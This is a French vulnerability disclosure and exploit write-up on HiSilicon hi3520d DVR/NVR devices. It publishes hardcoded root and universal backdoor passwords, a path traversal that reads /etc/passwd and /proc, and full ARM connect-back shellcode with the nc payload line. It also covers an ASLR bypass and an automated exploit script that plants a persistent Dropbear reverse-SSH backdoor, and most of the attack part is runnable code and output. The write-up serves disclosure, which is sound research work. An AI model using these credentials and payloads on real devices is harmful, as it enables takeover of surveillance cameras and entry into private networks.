
Exploit de preuve de concept et divulgation de vulnérabilité pour les appareils DVR/NVR HiSilicon hi3520d. Démontre une RCE via l'interface web, des identifiants backdoor et une analyse de débordement de tampon.
= Piratage de DVR HiSilicon Istvan Toth [email protected] v1.0, 2017-09-06 :source-highlighter: pygments :toc: preamble :toclevels: 5 :toc-title: Contents :image_width: 100%
[abstract] Ce rapport divulgue des vulnérabilités graves (avec une preuve de concept (PoC)) des dispositifs DVR/NVR construits avec le HiSilicon hi3520d et des systèmes sur puce (SoC) similaires. L’exploitation des vulnérabilités mène à une exécution de code à distance non autorisée (RCE) en utilisant uniquement l’interface web, entraînant la prise de contrôle totale de l’appareil exploité. En raison de l’absence de firmwares mis à niveau, l’utilisation de ces appareils n’est pas recommandée. Le fournisseur a été contacté avant décembre 2016, mais toujours aucune réponse. La date de publication de la divulgation est février 2017.
== préface
Il y a quelques années, j’ai acheté un DVR chinois bon marché sur eBay. Le logo de démarrage de l’appareil indique : « SECULINK - Security Monitoring ». En tant que passionné de sécurité informatique, j’ai décidé d’examiner de plus près l’appareil pour voir à quel point ce service de surveillance est « sécurisé ». En cherchant sur Google, j’ai trouvé des documents intéressants, mais en creusant plus profondément, j’ai découvert des problèmes beaucoup plus intéressants et beaucoup plus graves (0-day) concernant l’appareil.
Examinons l’intégralité de la session de piratage depuis le début. (Les nouvelles découvertes personnelles seront mentionnées au même titre que les anciennes, déjà connues.)
== exploration du DVR
D’abord, nous devons apprendre l’interface utilisateur officielle, puis creuser plus profondément, peut-être essayer d’obtenir le firmware. Les chances de trouver des vulnérabilités augmentent avec le firmware.
=== le DVR au premier coup d’œil
Le DVR destiné aux tests porte la marque « Seculink ».
image::./seculink_device.png[Appareil DVR Seculink]
Interfaces physiques disponibles :
Interfaces utilisateur officielles :
L’interface de configuration directement accessible est protégée par l’authentification utilisateur (nom d’utilisateur, mot de passe). Le superutilisateur par défaut est « admin », le mot de passe par défaut est vide.
Après avoir défini un mot de passe fort, l’utilisateur peut se sentir en sécurité en pensant que sa vue des caméras n’est pas accessible aux autres. Les gens redirigent souvent le port web (tcp/80) du DVR vers le WAN depuis leur LAN sécurisé afin d’accéder aux flux du DVR depuis l’extérieur (on peut le vérifier par exemple avec une recherche Shodan appropriée ;) ).
=== obtention du firmware
Il existe peut-être de nombreuses façons d’obtenir le firmware :
Bien que la dernière méthode (téléchargement) fonctionne ici et soit la plus simple, essayons la première, car elle donne aussi d’autres informations sur l’appareil.
=== scan des services
Faisons un scan complet des ports sur le DVR. Notez que le scan SYN (par défaut lorsqu’il est exécuté en root) est très lent en raison des paquets abandonnés, mais le scan complet par connexion TCP se termine en quelques minutes.
Nmap scan report for dvr.lan (192.168.88.127) Host is up (0.028s latency). Not shown: 65529 closed ports PORT STATE SERVICE VERSION 23/tcp open telnet BusyBox telnetd 80/tcp open http uc-httpd 1.0.0 554/tcp open rtsp LuxVision or Vacron DVR rtspd 9527/tcp open unknown 34567/tcp open dhanalakshmi? 34599/tcp open unknown MAC Address: 00:12:12:15:B3:E7 (Plus ) Service Info: Host: LocalHost; Device: webcam
Résumé et tests manuels :
Notez que l’ouverture du flux rtsp nécessite également des identifiants.
Il convient de noter ici que l’appareil est probablement un système de type Linux.
La connexion au port 9527/tcp (avec un netcat brut) affiche la console
de l’application avec des messages de journalisation et une invite de connexion. La connexion avec n’importe lequel des
identifiants définis de l’application fonctionne. Saisir help après l’
invite donne une courte description des commandes de la console. La commande
shell semble être la plus intéressante. Oui, elle donne un shell root à
l’appareil. ;)
Notez qu’il s’agit manifestement d’un grave problème de sécurité, car aucun utilisateur (à faibles privilèges) de l’application ne devrait obtenir un shell root sur l’appareil automatiquement.
=== shell root
L’exploration de l’appareil dans le shell root (par exemple avec dmesg) montre
clairement que le DVR exécute un noyau Linux (version 3.0.8), possède
un CPU ARMv7 et que le modèle de SoC est hi3520d.
D’après la liste des processus en cours d’exécution (ps), il est clair que l’application
DVR est /var/Sofia, qui écoute également sur 34568/udp et
34569/udp en plus des ports tcp ci-dessus détectés par nmap
(netstat -nlup).
D’après la liste des disques montés (commande mount), il est clair que l’
image du firmware se trouve dans les périphériques /dev/mtdblockX (où X=0,1,2,3,4,5).
Le firmware est petit et donc limité, nous devons donc faire preuve de créativité si nous voulons copier des fichiers vers/depuis l’appareil. Heureusement, NFS est pris en charge : configurer un serveur NFS sur notre machine de bureau et le monter depuis le DVR résout le problème :
Maintenant, obtenir le firmware est simple :
Nous pouvons obtenir les fichiers (pas seulement les images brutes) :
=== interface telnet
Pour accéder à l’appareil via l’interface telnet (port 23/tcp),
il nous faut peut-être des identifiants du système d’exploitation. En regardant /etc/passwd, nous avons le
hash du mot de passe pour l’utilisateur root :
Notez qu’il n’y a pas d’autre utilisateur que root, tout s’exécute avec des privilèges complets. (Donc, si quelqu’un parvient à pénétrer dans l’appareil d’une manière ou d’une autre, il n’y a aucune barrière : l’attaquant obtient immédiatement tous les pouvoirs.)
En supposant un mot de passe alphanumérique de six caractères (minuscules), hashcat casse rapidement le hash DES faible ci-dessus :
$ ./hashcat64.bin -a3 -m1500 absxcfbgXtb3o -1 ?l?d ?1?1?1?1?1?1
absxcfbgXtb3o:xc3511
Session..........: hashcat Status...........: Cracked Hash.Type........: descrypt, DES (Unix), Traditional DES Hash.Target......: absxcfbgXtb3o Time.Started.....: Sun Sep 3 03:25:07 2017 (2 mins, 29 secs) Time.Estimated...: Sun Sep 3 03:27:36 2017 (0 secs) Guess.Mask.......: ?1?1?1?1?1?1 [6] Guess.Charset....: -1 ?l?d, -2 Undefined, -3 Undefined, -4 Undefined Guess.Queue......: 1/1 (100.00%) Speed.Dev.#1.....: 815.9 kH/s (203.13ms) Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts Progress.........: 121360384/2176782336 (5.58%) Rejected.........: 0/121360384 (0.00%) Restore.Point....: 93440/1679616 (5.56%) Candidates.#1....: sa8711 -> h86ani HWMon.Dev.#1.....: N/A
Ainsi, avec l’utilisateur root et le mot de passe xc3511, il est possible de se connecter via l’interface telnet
sur le port 23/tcp. Ce compte root codé en dur,
accessible sur l’interface telnet impossible à fermer, est manifestement une backdoor.
Ces résultats étaient presque disponibles par d’autres avant nos recherches, mais ce qui suit est complètement nouveau.
== rétro-ingénierie du firmware
En explorant le firmware, il s’avère que le binaire /var/Sofia est l’
application principale qui implémente toutes les interfaces, en plus du traitement
vidéo et d’autres fonctions. Ce binaire semble donc être le plus intéressant
pour nous.
Malheureusement, il est (lié statiquement et) dépourvu de symboles, ce qui rend l’analyse statique plus difficile :
Ainsi, en plus de l’analyse statique (avec radare2 ou IDA), l’analyse dynamique devrait être très utile.
=== gdb distant
Pour l’analyse dynamique, attacher le débogueur GNU Project (GDB) à l’application distante
/var/Sofia devrait être avantageux. La méthode recommandée
consiste à exécuter (et attacher) gdbserver sur l’appareil distant, puis à connecter
gdb depuis la machine locale.
Bien sûr, nous avons besoin d’un gdbserver compilé (de préférence statiquement) pour l’
architecture ARM appropriée. Pour le construire, nous pouvons utiliser
https://www.uclibc.org/[µClibc], qui est la bibliothèque C recommandée pour
les systèmes embarqués (comme notre DVR). Les builds disponibles sont des builds dynamiques,
ce qui est problématique sur notre DVR ; nous devons donc créer nous-mêmes des builds statiques
personnalisés. Il existe un bel environnement de construction appelé
https://buildroot.org/[Buildroot] qui rend la construction immédiate :
(sélectionnez les applications requises (par exemple gdb) avec
make menuconfig, n’oubliez pas de choisir les bibliothèques statiques, puis lancez
make).
Après un court temps de compilation (~10-15 minutes), tous les outils nécessaires devraient être
disponibles. Les binaires statiques peuvent être transférés vers l’appareil par la
méthode NFS mentionnée précédemment. Notez que le répertoire /var
contenant le binaire Sofia est un ramfs : il n’est donc pas persistant après
les redémarrages. Si nous voulons transférer les binaires (presque) définitivement, la
partition en lecture-écriture /mnt/mtd contenant les fichiers de configuration devrait être une
cible appropriée. Si vous construisez aussi le paquet openssh, scp sera
disponible, ce qui facilite le transfert des fichiers.
Le firmware est maintenant prêt pour un peu de rétro-ingénierie. Attacher gdbserver
à distance fonctionne maintenant (obtenir le PID du processus Sofia est facile avec
ps) :
Connexion depuis la machine locale :
Notez qu’il est recommandé d’utiliser une extension GDB (comme
http://gef.readthedocs.io/en/master/[GEF]). Si la mise en pause
de l’application ne fonctionne pas (avec C-c) pour une raison quelconque, envoyer un signal TRAP
au processus Sofia (avec kill -TRAP 610) devrait le mettre en pause.
=== inspection de la procédure d’authentification
L’outil recommandé pour l’analyse statique est évidemment https://www.hex-rays.com/products/ida/[IDA Pro] de Hex-Ray. Malheureusement, il n’est pas bon marché, mais il est bien meilleur que tout autre outil.
Il y a plus de 15 000 fonctions après l’analyse automatique initiale, mais trouver la fonction d’authentification ne prend qu’un instant avec IDA (en utilisant un simple script Python). L’ https://www.hex-rays.com/products/ida/support/idapython_docs/[IDAPython] extrait ci-dessous recherche toutes les fonctions qui référencent quelque chose lié à « Users » et « Password » (en même temps) :
Le résultat n’est qu’une seule fonction : sub_2D857C. Une analyse rapide de cette
fonction confirme qu’il s’agit de la fonction d’authentification.
Il y a une vérification initiale du mot de passe en clair par rapport à une chaîne codée en dur
(avant d’obtenir le hash du mot de passe de l’utilisateur depuis la configuration).
Si elle réussit, l’authentification est accordée. C’est une vilaine backdoor dans l’
application. Le mot de passe universel est : I0TO5Wv9.
Avec ce mot de passe, nous pouvons accéder à tout dans l’application en tant que n’importe quel utilisateur (par exemple admin). Par exemple, obtenir le flux vidéo :
Ou obtenir un shell root sur la console de l’application (9527/tcp) fonctionne aussi :
$ nc 192.168.88.127 9527 nc: using stream socket
Un autre résultat intéressant de l’algorithme d’authentification :
dans certaines circonstances, la fonction d’authentification accepte non seulement le
mot de passe, mais aussi le hash. L’ouverture du flux vidéo rtsp est
possible non seulement avec le mot de passe, mais aussi avec le hash (qui est stocké
dans /mnt/mtd/Config/Account1). Par exemple, tlJwpbo6 est le
hash du mot de passe vide (voir aussi la section suivante), donc```
cvlc 'rtsp://192.168.88.127:554/user=admin&password=&channel=1&stream=0.sdp'
cvlc 'rtsp://192.168.88.127:554/user=admin&password=tlJwpbo6&channel=1&stream=0.sdp'
also works.
=== fonction de hachage du mot de passe
Un autre résultat de l'analyse statique (plus approfondie) de la fonction auth : la fonction de hachage du mot de passe est `sub_3DD5E4`. C'est fondamentalement du MD5 avec d'étranges transformations. Rétroconçue et implémentée en Python :
[source,python]
----
import hashlib
def sofia_hash(msg):
h = ""
m = hashlib.md5()
m.update(msg)
msg_md5 = m.digest()
for i in range(8):
n = (ord(msg_md5[2*i]) + ord(msg_md5[2*i+1])) % 0x3e
if n > 9:
if n > 35:
n += 61
else:
n += 55
else:
n += 0x30
h += chr(n)
return h
----
Avec l'algorithme de hachage implémenté, il est possible de forcer des mots de passe par force brute ou d'en définir arbitrairement.
== débordement de tampon dans le serveur web intégré
Le binaire Sofia gère les requêtes HTTP sur le port 80/tcp. Essayons un peu de fuzzing avec les requêtes. Bien sûr, attacher gdb (voir plus haut) devrait être utile. En réalité, nous devrions tuer le processus Sofia et le redémarrer avec gdbserver pour voir aussi la sortie console :
----
$ kill 610
$ /mnt/mtd/gdbserver :2000 /var/Sofia
----
Et localement :
----
$ gdb -q -ex 'set gnutarget elf32-littlearm' -ex 'target remote 192.168.88.127:2000'
gef> c
----
Maintenant, voyons les requêtes GET. Pas de réponse :
----
$ echo 'GET /' | nc 192.168.88.127 80
----
Réponse normale (même sans fermeture correcte et/ou nouvelle ligne à la fin) :
----
$ echo -ne 'GET / HTTP' | nc 192.168.88.127 80
----
Testons un débordement avec une requête très très longue :
----
$ python -c 'print "GET " + "a"*1000 + " HTTP"' | nc 192.168.88.127 80
----
Sympa. La réponse est un 200 avec un message « 404 File Not Found », mais on peut voir un magnifique crash dans gdb. ;)
Notez qu'un module noyau watchdog est activé pour l'application Sofia. S'il ne tourne pas pendant une minute, l'appareil redémarre. C'est d'un côté une bonne chose si nous expérimentons sur un appareil distant, mais c'est de l'autre côté une mauvaise chose si nous voulons déboguer tranquillement.
Le watchdog ne peut pas être désactivé une fois qu'il a été démarré, donc la seule façon de s'en débarrasser est de modifier le firmware en lecture seule en le reflashant. Ce n'est pas recommandé à moins de vouloir briquer notre appareil de test. ;)
=== contrôle du flux du programme
Pourquoi le crash est-il magnifique (du point de vue d'un attaquant) ? Le processus distant Sofia a reçu un SIGSEGV (erreur de segmentation), la pile est remplie de nos caractères « a », mais le plus important est : le registre $pc (compteur programme) contient notre valeur injectée `0x61616160` (« aaaa » - 1) (probablement déclenché par un ret mais la cause n'est pas importante). Cela devrait être un débordement de pile classique, ce qui signifie que nous avons la possibilité de contrôler facilement le flux du programme.
Après quelques expérimentations (par dichotomie) :
----
$ python -c 'print "GET " + "0123" + "a"*(299-4) + "wxyz" + " HTTP"' | nc 192.168.88.127 80
----
Cela provoque aussi un SIGSEGV, et le registre $pc est `0x7a797876` (~« wxyz » ; inversé, car l'ordre des octets est little-endian ; et -1 à cause de l'alignement). Notre payload commence (avec « 0123aaa... ») à $sp+0x14 (base de la pile + 0x14).
=== exécution de code à distance
La façon la plus simple et la plus efficace d'exploiter un tel débordement est d'injecter du shellcode dans la pile et d'y rediriger le flux du programme. On obtient ainsi une exécution de code à distance arbitraire sur la cible. Comme il n'y a pas de séparation des privilèges sur l'OS de l'appareil, cela signifie un contrôle total (accès à un shell root).
Cependant, des techniques de mitigation d'exploitation (modernes) peuvent être activées, ce qui pourrait rendre la vie d'un attaquant bien plus difficile.
La méthode la plus élémentaire pour se protéger contre les shellcodes sur la pile est la technologie du bit No-eXecute (NX). Elle peut empêcher l'exécution de code sur des pages mémoire sélectionnées (généralement les pages avec permission d'écriture comme la pile). Heureusement (du point de vue de l'attaquant ;) ), aucun bit NX n'est défini (regardez les flags STACK, rwx) :
----
$ objdump -b elf32-littlearm -p Sofia
Sofia: file format elf32-littlearm
Program Header:
0x70000001 off 0x00523f34 vaddr 0x0052bf34 paddr 0x0052bf34 align 2**2
filesz 0x000132a8 memsz 0x000132a8 flags r--
LOAD off 0x00000000 vaddr 0x00008000 paddr 0x00008000 align 2**15
filesz 0x005371dc memsz 0x005371dc flags r-x
LOAD off 0x005371dc vaddr 0x005471dc paddr 0x005471dc align 2**15
filesz 0x000089c8 memsz 0x000dad8c flags rw-
TLS off 0x005371dc vaddr 0x005471dc paddr 0x005471dc align 2**2
filesz 0x00000004 memsz 0x00000018 flags r--
STACK off 0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2
filesz 0x00000000 memsz 0x00000000 flags rwx
private flags = 5000002: [Version5 EABI]<Unrecognised flag bits set>
----
ou utilisez simplement `checksec` dans gdb gef. `checksec` dans gdb gef nous dit aussi qu'aucune autre mitigation n'est présente, comme le stack canary (ce qui est évident, car nous ne pourrions pas contrôler $pc avec un débordement de pile si un stack canary était présent).
La seule chose que nous devons savoir avant de faire fonctionner le RCE est l'adresse de la pile. Nous devons injecter l'adresse $sp+0x14 à la position appropriée de notre payload (« wxyz » ci-dessus) afin de rediriger le flux du programme vers le shellcode.
Il existe aussi une technique de mitigation qui pourrait rendre cela plus difficile (ou très difficile, presque impossible dans certains cas) : l'address space layout randomization (ASLR). L'ASLR randomise les adresses de base des segments mémoire (par exemple l'adresse de base de la pile).
Pas de chance, l'ASLR est activé (« 2 » signifie randomisation complète, « 0 » est désactivé) :
----
$ cat /proc/sys/kernel/randomize_va_space
2
----
==== RCE sans ASLR
Essayons d'abord d'exploiter le débordement avec l'ASLR désactivé.
----
$ echo 0 > /proc/sys/kernel/randomize_va_space
----
En suivant la procédure ci-dessus, nous obtenons que l'adresse de la pile ($sp) est 0x5a26f3d8 au moment du crash SIGSEGV (et elle est identique lors de différents lancements avec l'ASLR désactivé).
Le payload devrait donc être :
----
python -c 'print "GET " + shellcode + "a"*(299-len(shellcode)) + "\xd8\xf3\x26\x5a" + " HTTP"' | nc 192.168.88.127 80
----
où le shellcode doit être quelque chose que nous voulons exécuter, de préférence un shellcode de connexion retour (connectback). Notez qu'il y a des « badchars » à éviter : 0x00, 0x0d ('\n'), 0x20 (' '), 0x26 ('&'), 0x3f ('?'). De plus, il y a une limite de taille de 299 octets. Les générateurs de shellcode ne peuvent pas gérer notre liste de badchars, et même les encodeurs automatisés ne peuvent pas résoudre le problème (à cause de la limite de taille).
Un shellcode personnalisé doit donc être généré. Le shellcode ici fournit un shell connectback en utilisant les appels système socket, connect, dup2 et execve (ou appels superviseur selon la terminologie du monde ARM). Nous devons être stricts et créatifs pour éviter les badchars. Les labels ne doivent pas être utilisés, ils ne servent qu'à faciliter la lecture.
[source,asm]
----
.section .text
.global _start
@ ensure switching to thumb mode (arm mode instructions)
.code 32
_0: add r1, pc, #1
_4: bx r1
@ thumb mode instructions
_start:
.code 16
@ *0x52 -= 1 (port -= 0x100; make it possible to use port numbers <1024)
_8: add r1, pc, #68 @ r1 <- pc+68 = 0xc+68 = 0x50
_a: ldrb r2, [r1, #2] @ r2 <- *0x52
_c: sub r2, #1 @ r2 <- r2-1
_e: strb r2, [r1, #2] @ r2 -> *0x52
@ socket(2, 1, 0) = socket(AF_INET, SOCK_DGRAM, 0)
_10: mov r1, #2 @ r1 <- 2
_12: add r0, r1, #0 @ r0 <- r1 + 0 = 2
_14: mov r1, #1 @ r1 <- 1
_16: sub r2, r2, r2 @ r2 <- r2 - r2 = 0
_18: lsl r7, r1, #8 @ r7 <- r1<<8 = 1<<8 = 256
_1a: add r7, #25 @ r7 <- r7 + 25 = 281
_1c: svc 1 @ r0 <- svc_281(r0, r1, r2) = socket(2, 1, 0)
@ connect(r0, 0x50, 16) = connect(&socket, &struct_addr, addr_len)
_1e: add r6, r0, #0 @ r6 <- r0 + 0 = &socket
_20: add r1, pc, #44 @ r1 <- pc+44 = 0x24+44 = 0x50
_22: mov r3, #2 @ r3 <- 2
_24: strh r3, [r1, #0] @ 2 -> *0x50
_26: mov r2, #16 @ r2 <- 16
_28: add r7, #2 @ r7 <- r7 + 2 = 283
_2a: svc 1 @ r0 <- svc_283(r0, r1, r2) = connect(&socket, 0x50, 16)
@ attach stdin/stdout/stderr to socket: dup2(r0, 0), dup2(r0, 1), dup2(r0, 2)
_2c: mov r7, #62 @ r7 <- 62
_2e: add r7, #1 @ r7 <- r7 + 1 = 63
_30: mov r1, #200 @ r1 <- 200
_32: add r0, r6, #0 @ r0 <- r6 + 0 = &socket
_34: svc 1 @ r0 <- svc_63(r0, r1) = dup2(&socket, 0..200)
_36: sub r1, #1 @ r1 <- r1 - 1
_38: bpl _32 @ loop until r1>0 (dup2 every fd to the socket)
@ execve('/bin/sh', NULL, NULL)
_3a: add r0, pc, #28 @ r0 <- pc+28 = 0x3c+28 = 0x58
_3c: sub r2, r2, r2 @ r2 <- r2 - r2 = 0
_3e: strb r2, [r0, #7] @ 0 -> *(0x58+7), terminate '/bin/sh' with \x00
_40: push {r0, r2} @ *sp <- {r0, r1, r2} = {0x58, 0x0, 0x0}
_42: mov r1, sp @ r1 <- sp
_44: mov r7, #11 @ r7 <- 11
_46: svc 1 @ svc_11(r0, r1, r2) = execve('/bin/sh\x00', ['/bin/sh\x00', 0], 0)
_48: mov r7, #1 @ r7 <- 1
_4a: add r0, r7, #0 @ r0 <- r7 + 0 = 1
_4c: svc 1 @ svc_1(r0) = exit(1)
_4e: nop
@ struct sockaddr (sa_family = 0x0002 (set by shellcode), sa_data = (port, ip) )
_50: .short 0xffff
_52: .short 0x697b @ port 31377 (hex(31337+0x100) in little-endian)
_54: .byte 192,168,88,100 @ inet addr: 192.168.88.100
_58: .ascii "/bin/shX" @ 'X' will be replaced with \x00 by the shellcode
.word 0xefbeadde @ deadbeef ;)
----
Compiler le shellcode et obtenir les octets binaires bruts (n'importe quel outil croisé pour ARM devrait fonctionner, par exemple ceux construits avec buildroot dans `buildroot-2017.02.5/output/host/usr/bin/` conviennent aussi) :
----
$ armv7a-hardfloat-linux-gnueabi-as shellcode.S -o shellcode.o
$ armv7a-hardfloat-linux-gnueabi-ld.bfd shellcode.o -o shellcode
$ armv7a-hardfloat-linux-gnueabi-objcopy -O binary --only-section=.text ./shellcode ./shellcode.bin
$ cat shellcode.bin | xxd -p
01108fe211ff2fe111a18a78013a8a700221081c0121921a0f02193701df
061c0ba102230b801022023701df3e270137c821301c01df0139fbd507a0
921ac27105b469460b2701df0127381c01dfc046ffff7b69c0a858642f62
696e2f736858deadbeef
----
Injecter cela avec le payload devrait faire fonctionner l'exploit et fournir un shell connectback à l'appareil distant.
Bien sûr, commencez par lancer un listener sur `192.168.88.100` :
----
$ nc -nvlp 31337
----
Puis lancez le payload :
----
$ python -c 'shellcode = "01108fe211ff2fe111a18a78013a8a700221081c0121921a0f02193701df061c0ba102230b801022023701df3e270137c821301c01df0139fbd507a0921ac27105b469460b2701df0127381c01dfc046ffff7b69c0a858642f62696e2f736858deadbeef".decode("hex"); print "GET " + shellcode + "a"*(299-len(shellcode)) + "\xec\xf3\x26\x5a" + " HTTP"' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: application/binary
Server: uc-httpd 1.0.0
Expires: 0
<html><head><title>404 File Not Found</title></head>
<body>The requested URL was not found on this server</body></html>
----
L'exploit devrait fonctionner ! :) Dans gdb local :
----
process 1064 is executing new program: /bin/busybox
Reading /bin/busybox from remote target...
Reading /bin/busybox from remote target...
----
Et le RCE est prêt sur le listener netcat :
----
nc: connect to 192.168.88.100 31337 from 192.168.88.127 55442
nc: using stream socket
----
Il est maintenant possible d'exécuter des commandes arbitraires (en tant que root !) sur le système distant.
Mais malheureusement, l'exploit n'est pas prêt pour un déploiement dans le monde réel, car l'ASLR est activé et nous ne connaissons donc pas l'adresse de début du shellcode. Pas encore.
==== contourner l'ASLR
Contourner l'ASLR n'est pas une tâche facile, mais cela peut souvent être fait avec un peu de créativité. Il y a généralement deux façons de le faire :
* trouver une faiblesse dans le randomiseur et l'attaquer par force brute ou par une fuite partielle / un écrasement partiel,
* fuiter les adresses mémoire randomisées du binaire distant.
La force brute semble maintenant inutile (déclencher une mauvaise adresse provoque un crash et un redémarrage lent), donc seule la fuite semble pratique (si nous en trouvons une).
Après de longues recherches, il a presque fallu abandonner, aucune fuite n'a pu être trouvée, mais alors une idée est venue d'une direction totalement différente.
Il y a une autre vulnérabilité dans le serveur web, une vulnérabilité classique de traversée de répertoire. En fait, elle fonctionne aussi pour lister les répertoires (cela sera également important).
La vulnérabilité de traversée de répertoire signifie :
----
$ echo -ne 'GET ../../etc/passwd HTTP' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: text/plain
Server: uc-httpd 1.0.0
Expires: 0
root:absxcfbgXtb3o:0:0:root:/:/bin/sh
----
et nous pouvons aussi obtenir la liste des répertoires :
----
$ echo -ne 'GET ../../etc HTTP' | nc 192.168.88.127 80nc: using stream socket
HTTP/1.0 200 OK
Content-type: application/binary
Server: uc-httpd 1.0.0
Expires: 0
<H1>Index of /mnt/web/../../etc</H1>
<p><a href="//mnt/web/../../etc/.">.</a></p>
<p><a href="//mnt/web/../../etc/..">..</a></p>
<p><a href="//mnt/web/../../etc/fs-version">fs-version</a></p>
<p><a href="//mnt/web/../../etc/fstab">fstab</a></p>
<p><a href="//mnt/web/../../etc/group">group</a></p>
<p><a href="//mnt/web/../../etc/init.d">init.d</a></p>
<p><a href="//mnt/web/../../etc/inittab">inittab</a></p>
<p><a href="//mnt/web/../../etc/mactab">mactab</a></p>
<p><a href="//mnt/web/../../etc/memstat.conf">memstat.conf</a></p>
<p><a href="//mnt/web/../../etc/mtab">mtab</a></p>
<p><a href="//mnt/web/../../etc/passwd">passwd</a></p>
<p><a href="//mnt/web/../../etc/passwd-">passwd-</a></p>
<p><a href="//mnt/web/../../etc/ppp">ppp</a></p>
<p><a href="//mnt/web/../../etc/profile">profile</a></p>
<p><a href="//mnt/web/../../etc/protocols">protocols</a></p>
<p><a href="//mnt/web/../../etc/resolv.conf">resolv.conf</a></p>
<p><a href="//mnt/web/../../etc/services">services</a></p>
<p><a href="//mnt/web/../../etc/udev">udev</a></p>
----
Notez que cette vulnérabilité est grave, car l'attaquant peut lire n'importe quel fichier, y compris les vidéos enregistrées (si l'appareil dispose d'un stockage sur disque dur).
De plus, la vulnérabilité peut nous aider à contourner l'ASLR.
Le système de fichiers `/proc` contient beaucoup d'informations sur les processus en cours dans les répertoires `/proc/[pid]`. Lister `/proc` est possible en utilisant `GET ../../proc`, de cette façon nous pouvons obtenir tous les PID. Si `/proc/[pid]/cmdline` est `/var/Sofia`, le PID de l'application est trouvé.
L'information la plus importante pour contourner l'ASLR se trouve dans `/proc/[pid]/smaps`. Ce fichier contient des statistiques de pages mémoire, des adresses de pages et d'autres informations intéressantes (par exemple rss). Par exemple :
----
$ echo -ne 'GET ../../proc/610/cmdline HTTP' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: text/plain
Server: uc-httpd 1.0.0
Expires: 0
/var/Sofia
$ echo -ne 'GET ../../proc/610/smaps HTTP' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: text/plain
Server: uc-httpd 1.0.0
Expires: 0
...
4b699000-4be98000 rwxp 00000000 00:00 0
Size: 8188 kB
Rss: 4 kB
Pss: 4 kB
Shared_Clean: 0 kB
Shared_Dirty: 0 kB
Private_Clean: 0 kB
Private_Dirty: 4 kB
Referenced: 4 kB
Anonymous: 4 kB
AnonHugePages: 0 kB
Swap: 0 kB
KernelPageSize: 4 kB
MMUPageSize: 4 kB
Locked: 0 kB
...
----
Ce n'est qu'une page, la liste contient environ ~150 pages.
En regardant la structure ci-dessus (en prêtant attention aux tailles de pages, aux motifs, etc.), nous pouvons deviner (par expérimentation et heuristiques) laquelle contient la pile du thread requis. Le décalage de la pile par rapport à l'adresse de base est constant (il est 0x7fd3d8).
L'extrait qui devine la page mémoire :
[source,python]
----
def guessregion(smaps):
for t in range(len(smaps)-7, 1, -1):
if (smaps[t][1][0], smaps[t+1][1][0], smaps[t+2][1][0], smaps[t+3][1][0], smaps[t+4][1][0], smaps[t+5][1][0], smaps[t+6][1][0]) == (8188, 8188, 8188, 8188, 8188, 8188, 8188) and
smaps[t][1][1] == 4 and smaps[t+1][1][1] == 4 and smaps[t+2][1][1] == 4 and smaps[t+3][1][1] >= 8 and smaps[t+4][1][1] >= 4 and smaps[t+5][1][1] >= 4 and smaps[t+6][1][1] >= 8:
return (t+3)
return (-1)
----
où `smaps[t][1][0]` est la taille de la `t`-ième page complète, `smaps[t][1][1]` est le RSS correspondant.
L'extrait fait partie du script d'exploit complet qui fonctionne automatiquement contre diverses cibles HiSilicon avec ASLR activé. Pour une brève présentation du script :
----
$ ./pwn_hisilicon_dvr.py -h
usage: pwn_hisilicon_dvr.py [-h] --rhost RHOST [--rport RPORT] --lhost LHOST
[--lport LPORT] [--bhost BHOST] [--bport BPORT]
[-n] [-i] [-p] [-u] [--offset OFFSET]
[--cmdline CMDLINE]
exploit HiSilicon DVR devices
optional arguments:
-h, --help show this help message and exit
--rhost RHOST target host
--rport RPORT target port
--lhost LHOST connectback ip
--lport LPORT connectback port
--bhost BHOST listen ip to bind (default: connectback)
--bport BPORT listen port to bind (default: connectback)
-n, --nolisten do not start listener (you should care about connectback
listener on your own)
-i, --interactive select stack memory region interactively (rather than
using autodetection)
-p, --persistent make connectback shell persistent by restarting dvr app
automatically (DANGEROUS!)
-u, --upload upload tools (now hardcoded "./tools/dropbear" in script)
after pwn
--offset OFFSET exploit param stack offset to mem page base (default:
0x7fd3d8)
--cmdline CMDLINE cmdline of Sofia binary on remote target (default
"/var/Sofia")
----
=== post-exploitation
Que pouvons-nous faire avec ce RCE ? Tout. Rappelez-vous qu'il s'agit d'un RCE non authentifié qui n'utilise que le port 80/tcp du service web. Ce port est couramment redirigé vers l'extérieur, donc si un attaquant exploite ce RCE, il/elle obtient un accès au LAN interne.
Notre script d'exploit a quelques fonctionnalités intéressantes, comme la possibilité de téléverser des outils (préalablement compilés) vers l'appareil victime.
Si nous voulons créer une backdoor persistante et stable, nous pouvons téléverser un Dropbear, le faire écouter localement, et ouvrir un tunnel SSH inversé vers l'extérieur. Avec cette architecture, il sera possible de se connecter à l'appareil DVR de n'importe où, à tout moment.----
$ ./pwn_hisilicon_dvr.py --rhost 192.168.88.127 --lhost 192.168.88.100 -p -u
[*] target is 192.168.88.127:80
[*] connectback on 192.168.88.100:31337
[+] assembling shellcode: done. length is 104 bytes
[+] identifying model number: MBD6804T-EL
[*] exploiting dir path traversal of web service to get leak addresses
[+] getting pidlist: found 35 processes
[+] searching for PID of '/var/Sofia': 610
[+] getting stack section base: 0x5a47a000
[*] shellcode address is 0x5ac773ec
[*] exploiting buffer overflow in web service url path
[*] remote shell should gained by connectback shellcode!
[+] Trying to bind to 192.168.88.100 on port 31337: Done
[+] Waiting for connections on 192.168.88.100:31337: Got connection from 192.168.88.127 on port 44330
[+] Opening connection to 192.168.88.127 on port 80: Done
[+] Receiving all data: Done (204B)
[*] Closed connection to 192.168.88.127 port 80
[+] restarting dvr application: Done
[+] uploading tools to /var/.tools: dropbear
[*] Switching to interactive mode
$ cd /var/.tools
$ ln -s dropbear ssh
$ ln -s dropbear dropbearkey
$ ./dropbearkey -t ecdsa -f dropbear_ecdsa.key -s 256
Generating key, this may take a while...
Public key portion is:
ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDMcXlCTZfC3ZskLdbjfUSkDvcZCrKd/t8a3ftsfL2EkHlQ/faElTfzACkM8ETw1Z1CH0iLXMznxqzZ4PvvJOk0= root@LocalHost
Fingerprint: md5 55:5e:4c:df:9c:89:4c:cd:2c:47:85:52:ff:5b:b7:48
